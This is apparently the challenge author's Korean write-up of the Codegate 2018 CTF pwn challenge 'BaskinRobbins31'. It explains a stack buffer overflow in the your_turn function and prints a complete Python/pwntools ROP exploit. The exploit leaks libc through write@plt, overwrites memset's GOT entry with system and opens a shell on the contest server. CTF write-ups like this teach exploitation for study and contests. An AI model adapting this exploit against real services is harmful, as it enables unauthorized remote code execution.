By chaem | February 15, 2018
Codegate2018 BaskinRobbins31 출제자 WriteUp
이 문제는 기본적인 64bit rop 문제였는데요! 다들 엄청 반가워하면서 슝슝 푸셨겠죠?!
프로그램은 흔히 우리나라에서 술게임으로 자주 하는…ㅎㅎㅎ
귀엽고~ 깜찍하게~ 베스킨라빈스 31!!!
문제 풀면서 다들 게임 한 판 정도는 하셨으려나요? ㅠㅠ
다들 flag만 훅 따가셨을듯 ㅠㅠ
우선, pwndbg에서 checksec으로 바이너리에 걸린 보호기법을 알아봅시다.
NX
와 Partial Relro
가 적용되어있는 것을 보실 수 있습니다.
NX
는 스택의 실행권한을 없애는 메모리 보호기법 입니다. 따라서 스택에 쉘코드가 있더라도 실행 시킬 수가 없게 됩니다.
또한 Full Relro
가 아닌 Partial Relro
가 적용되어 있기 때문에, GOT Overwrite
가 가능합니다.
결국은 ROP
로 문제를 해결할 수 있겠죠.
64bit에서 함수 호출 규약에서 함수 인자는 다음과 같은 순서로 레지스터에 담기게 됩니다.
RDI : 첫번째 인자
RSI : 두번째 인자
RDX : 세번째 인자
RCX : 네번째 인자
…
즉 pop rdi; pop rsi; pop rdx; ret
와 같은 가젯을 이용할 수 있습니다.
그렇다면, 문제의 함수들을 살펴봅시다!
int your_turn(int *number)
{
unsigned int decision = 0;
char buf[150];
ssize_t b;
memset(buf, 0, 150);
printf("How many numbers do you want to take ? (1-3)\n");
b = read(0, buf, 400);
write(1, buf, b);
printf("\n");
decision = strtoul(buf, NULL, 10);
if (!check_decision(decision))
{
printf("Don't break the rules...:( \n");
return 0;
}
\*number -= decision;
return 1;
}
your_turn 함수를 보면 read 함수에서 bof가 발생하는데, 이 부분을 이용해 ret 변조가 가능합니다.
그리고 helper 함수를 보면 필요한 가젯이 주어집니다!
pop rdi; pop rsi; pop rdx; ret
을 이용하면 3개의 인자 함수 호출까지는 자유롭게 할 수 있습니다.
이를 이용하여 ROP 페이로드를 만들어서 우선 libc의 주소
를 알아내고,
libc내의 system 함수
와 /bin/sh 문자열
을 이용하여 system("bins/sh")를 호출
하도록 ROP하면 끝!!!
정리해 보자면 다음과 같습니다.
- 오버플로우 시켜서 리턴을 덮는다.
- plt가 있는 함수중에 leak을 할만한 함수를 찾는다.
- 프로그램 자체의 leak 취약점(write, printf, puts…)들을 이용한다.
- got 안의 라이브러리 함수 주소를 아무거나 하나 얻어온다.
- 얻어온 함수와 system 함수의 오프셋을 계산한다.
- system 함수의 주소를 호출한다.
즉, read_plt
, read_got
, write_plt
, offset
, PPPR
, bss
영역 주소 등의 가젯이 필요합니다.
이렇게 필요한 가젯들을 이용하여 익스플로잇 코드를 짜봅시다!
#final exploit
#-*- coding: utf-8 -*-
#!/usr/bin/env python
import telnetlib
from socket import *
from struct import *
from pwn import *
memset_plt = 0x4006f0
PPPR = 0x40087a
memset_got = 0x602038
write_got = 0x602028
write_plt = 0x4006d0
read_plt = 0x400700
read_got = 0x602040
your_addr = 0x400ae5
#offset = 0x302624
offset = 1234400
bin_addr = 0x602500
memset_addr = 0
system_addr = 0
#leak memset()'s libc addresss using write@plt
buf = ""
buf += "A" * 184
buf += p64(PPPR)
buf += p64(0x1)
buf += p64(memset_got)
buf += p64(0x8)
buf += p64(write_plt)
buf += p64(your_addr)
#overwrite memset()'s GOT entry using read@plt
buf2 = ""
buf2 += "A" * 184
buf2 += p64(PPPR)
buf2 += p64(0x0)
buf2 += p64(memset_got)
buf2 += p64(0x8)
buf2 += p64(read_plt)
#read "/bin/sh" into 0x602500 using read@plt
buf2 += p64(PPPR)
buf2 += p64(0x0)
buf2 += p64(bin_addr)
buf2 += p64(0x8)
buf2 += p64(read_plt)
#set RDI to location of "/bin/sh", and call system()
buf2 += p64(PPPR)
buf2 += p64(bin_addr)
buf2 += p64(0x1)
buf2 += p64(0x1)
buf2 += p64(memset_plt)
s = remote('ch41l3ng3s.codegate.kr', 3131)
#nc ch41l3ng3s.codegate.kr 3131
#s = remote('661705c0ebc8adabe794ca26b66319b7.codegate.kr', 3131)
raw_input()
#overwrite RIP so we return to write@plt to leak meemset()'s libc address
print s.recv(1024)
s.send(buf+"\n")
#d = s.recv(1024)[-8:]
d = s.recvuntil('How')
#memset_addr = u64(d)
memset_addr = u64(d.split('How')[0][-8:])
system_addr = memset_addr - offset
print hex(memset_addr)
print hex(system_addr)
s.send(buf2 + '\n')
#send address of system() to overwrite memset()'s GOT entry
s.send(p64(system_addr))
#send "/bin/sh" to writable location
s.send("/bin/sh\x00"+"\n")
#get a shell
s.interactive()
짜잔!! shell을 획득할 수 있게 됩니다!!
문제를 풀어주신 모든 분들 수고 많으셨습니다!